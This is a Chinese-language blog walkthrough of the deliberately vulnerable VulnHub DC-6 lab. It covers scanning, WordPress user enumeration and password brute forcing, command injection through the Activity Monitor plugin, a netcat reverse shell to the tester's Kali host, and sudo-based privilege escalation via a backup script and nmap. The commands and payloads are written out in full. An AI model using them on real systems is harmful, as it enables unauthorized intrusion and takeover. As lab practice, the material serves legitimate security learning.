🍬 博主介绍
👨🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
文章目录
- 🍬 博主介绍
- 一、环境搭建:
- 1、靶场描述
- 2、下载靶场环境
- 3、启动靶场环境
- 二、渗透靶场
- 1、目标:
- 2、信息收集:寻找靶机真实IP
- 1.nmap探活主机
- 2.arp-scan探活主机
- 3、信息收集:探端口及服务
- 1.nmap探活端口
- 2.masscan探活端口
- 4、访问web服务
- 1.Windows修改hosts文件
- 2.linux修改hosts文件
- 3.hosts文件修改成功
- 5、信息收集:web指纹识别
- 1.Whatweb指纹识别
- 2.棱洞3.0指纹识别
- 6、使用扫描网站结构
- 1.nikto扫描网站结构
- 2.访问登陆页面
- 7、获取用户密码
- 1.发现存在用户
- 2.制作用户字典
- 3.制作密码字典
- 4.爆破密码
- 5.登录后台站点
- 8、发现RCE漏洞
- 1.执行whoami
- 2.发现长度限制并绕过
- 9、反弹shell到kali
- 1.kali监听
- 2.靶机执行命令
- 3.反弹shell成功
- 4.进入交互式shell
- 10、Kali搜索漏洞
- 11、提权
- 1.尝试suid提权失败
- 2.查找可执行操作
- 3.发现graham账户密码
- 4.切换到graham用户
- 5.发现jens目录下backups.sh文件
- 6.切换到jens 用户
- 7.发现jens可在无密码下执行nmap
- 8.提权成功
- 9.发现flag
- 三、相关资源
一、环境搭建:
1、靶场描述
DC-6 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
This isn't an overly difficult challenge so should be great for beginners.
The ultimate goal of this challenge is to get root and to read the one and only flag.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
只有一个flag
2、下载靶场环境
靶场下载地址:
https://www.vulnhub.com/entry/dc-6,315/
下载下来的文件如下
3、启动靶场环境
下载下来是虚拟机压缩文件,直接用Vmvare导入就行。然后调一下网络,建议调成NAT模式,桥接其实也行。具体操作步骤可以看我之前的文章,这里就不要截图详细介绍了。搭建完成之后显示如下。
二、渗透靶场
1、目标:
目标就是我们搭建的靶场,靶场IP为:192.168.233.0/24
2、信息收集:寻找靶机真实IP
1.nmap探活主机
使用nmap进行探活,寻找靶机ip
nmap -sP 192.168.233.0/24
2.arp-scan探活主机
也可以使用arp-scan进行探活,寻找靶机ip
arp-scan -l
本机ip为192.168.233.130
所以分析可得靶机ip为192.168.233.186
192.168.233.1 vm8网卡
192.168.233.2 网关
192.168.233.186 靶机
192.168.233.254 DHCP服务器
192.168.233.130 kali本机
3、信息收集:探端口及服务
1.nmap探活端口
使用nmap探活端口
nmap -A -p- -v 192.168.233.186
发现开放了80端口,存在web服务,Apache httpd 2.4.25 (Debian)
发现开放了22端口,OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
2.masscan探活端口
也可以使用masscan探活端口
masscan --rate=10000 --ports 0-65535 192.168.233.186
4、访问web服务
http://192.168.233.186/
发现找不到,我们可以明显的看到ip变成了域名,那可以知道是由于DNS解析失败导致的,我们就需要在hosts文件中添加指向。
1.Windows修改hosts文件
打开hosts文件,hosts文件路径如下
C:\WINDOWS\system32\drivers\etc
添加如下内容
192.168.233.186 wordy
2.linux修改hosts文件
hosts文件路径如下
/etc/hosts
Vim修改hosts文件
vim /etc/hosts
添加如下内容
192.168.233.186 wordy
3.hosts文件修改成功
重新访问就ok了
http://192.168.233.186/
5、信息收集:web指纹识别
Apache[2.4.25]
HTML5
HTTPServer[Debian Linux][Apache/2.4.25 (Debian)]
JQuery[1.12.4]
MetaGenerator[WordPress 5.1.1]
PoweredBy[WordPress]
Script[text/javascript]
UncommonHeaders[link]
WordPress[5.1.1]
1.Whatweb指纹识别
然后进行web指纹识别
whatweb -v 192.168.233.186
2.棱洞3.0指纹识别
棱洞3.0下载及使用链接于文末给出
Ehole3.0-Win.exe -u http://192.168.233.186
6、使用扫描网站结构
1.nikto扫描网站结构
使用nikto工具扫描网站结构,发现登录页面wp-login.php和一些其他的目录
nikto -h http://192.168.233.186 -o nikto-wordy.txt
2.访问登陆页面
http://wordy/wp-login.php
7、获取用户密码
这里是直接采用的wpscan进行的爆破,当然也可以使用bp或者其他工具进行爆破
1.发现存在用户
使用wpscan工具对wordpress网站扫描获取WordPress可以登录的用户
wpscan --url wordy -e u
发现五个用户
admin
graham
mark
sarah
jens
2.制作用户字典
cd /usr/share/wordlists
vim wordy-users.dic
admin
graham
mark
sarah
jens
3.制作密码字典
题目中给出了提示,告诉了我们密码字典的生成方式
CLUE
OK, this isn't really a clue as such, but more of some "we don't want to spend five years waiting for a certain process to finish" kind of advice for those who just want to get on with the job.
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt That should save you a few years. ;-)
cd /usr/share/wordlists
cp rockyou.txt.gz rockyou.txt.gz.bak
gunzip rockyou.txt.gz rockyou.txt
cat /usr/share/wordlists/rockyou.txt | grep k01 > wordy-pass1.dic
cat wordy-pass1.dic
4.爆破密码
wpscan --url wordy -U wordy-users.dic -P wordy-pass1.dic
成功爆破出来一对用户密码
mark/helpdesk01
5.登录后台站点
http://wordy/wp-login.php
Mark/helpdesk01
登录成功
http://wordy/wp-admin/
8、发现RCE漏洞
简单看一下页面,发现存在activity_monitor插件,存在功能 IP 转十进制和一个域名解析lookup的功能、使用nslookup命令执行的,可能存在一个RCE的漏洞。
1.执行whoami
http://wordy/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools
8.8.8.8;whoami
2.发现长度限制并绕过
发现在前端做了长度限制,最长长度只能输入15个字符,就是说输入114.114.114.114的话没办法加命令,这里提供两个思路,一个就是采用burp抓包修改,一个就是直接修改html
我这里采用修改html的方式绕过长度限制
打开开发者模式F12
输入114.114.114.114,点击lookup,采用小箭头找到输入框,找到114的位置,把114.114.114.114改成114.114.114.114;whoami,然后再次点击lookup,命令执行成功,同理我们可以反弹shell
114.114.114.114;whoami
9、反弹shell到kali
1.kali监听
nc -lvnp 55555
2.靶机执行命令
把html输入内容位置改成反弹的命令
114.114.114.114;nc -e /bin/bash 192.168.233.130 55555
3.反弹shell成功
4.进入交互式shell
这个shell不好用,进入交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
10、Kali搜索漏洞
如果你查看页面的时候发现不了这里有漏洞也可以使用kali搜索相关漏洞
searchsploit activity monitor
选择第三个命令执行,将这个html复制到你所在目录
cp /usr/share/exploitdb/exploits/php/webapps/45274.html 45274.html
然后修改相应的反弹shell IP和端口
google.frl nc -nlvp 192.168.233.130 55555 -e /bin/bash
Kali临时开启HTTP服务,并访问45274.html页面
python -m SimpleHTTPServer 80
http://192.168.233.130/45274.html
同时在kali监听55555端口,在页面点击submit request后,反弹shell成功
nc -lvvp 55555
11、提权
1.尝试suid提权失败
查找具有suid权限的程序
find / -perm -u=s -type f 2>/dev/null
没有发现可利用提权的程序,换一个思路
2.查找可执行操作
执行sudo -l,发现需要www-data的密码
sudo -l
3.发现graham账户密码
进入到mark用户的家目录下,stuff文件下有一个things-to-do.txt文件,查看文件内容发现graham用户及登录密码
cd /home/mark/stuff
cat things-to-do.txt
graham/GSo7isUM1D4
4.切换到graham用户
使用su命令切换到graham用户下
su graham
graham/GSo7isUM1D4
5.发现jens目录下backups.sh文件
路径:
/home/jens/backups.sh
查看备份文件
cat /home/jens/backups.sh
发现里面是如下命令,是对web的文件进行打包备份
tar -czf backups.tar.gz /var/www/html
6.切换到jens 用户
先切换到jens目录下
cd /home/jens/
向backups.sh文件中写入”/bin/bash”,并以jens用户去执行该脚本
echo "/bin/bash" >> backups.sh
sudo -u jens ./backups.sh
脚本执行成功后,切换到jens用户
7.发现jens可在无密码下执行nmap
再次查看jens可以执行的操作,发现jens可以在无密码情况下使用nmap命令
sudo -l
8.提权成功
百度到可以写入一条命令到getShell,并通过nmap运行getShell成功进入root用户,在/root目录下找到theflag.txt文件
echo 'os.execute("/bin/sh")' > getShell
sudo nmap --script=getShell
9.发现flag
cd /root
cat theflag.txt
三、相关资源
1、靶场下载地址
2、nmap
3、arp-scan
4、masscan
5、[ 常用工具篇 ] 渗透神器 whatweb 安装使用详解
6、[ 渗透工具篇 ] EHole(棱洞)3.0安装部署及详解(linux & win)
7、nikto
8、wpscan
9、[ 隧道技术 ] 反弹shell的集中常见方式(一)nc反弹shell
10、[ 常用工具篇 ] burpsuite_pro 安装配置详解(附安装包)
11、简谈SUID提权
12、实现交互式shell的几种方式
13、修改hosts文件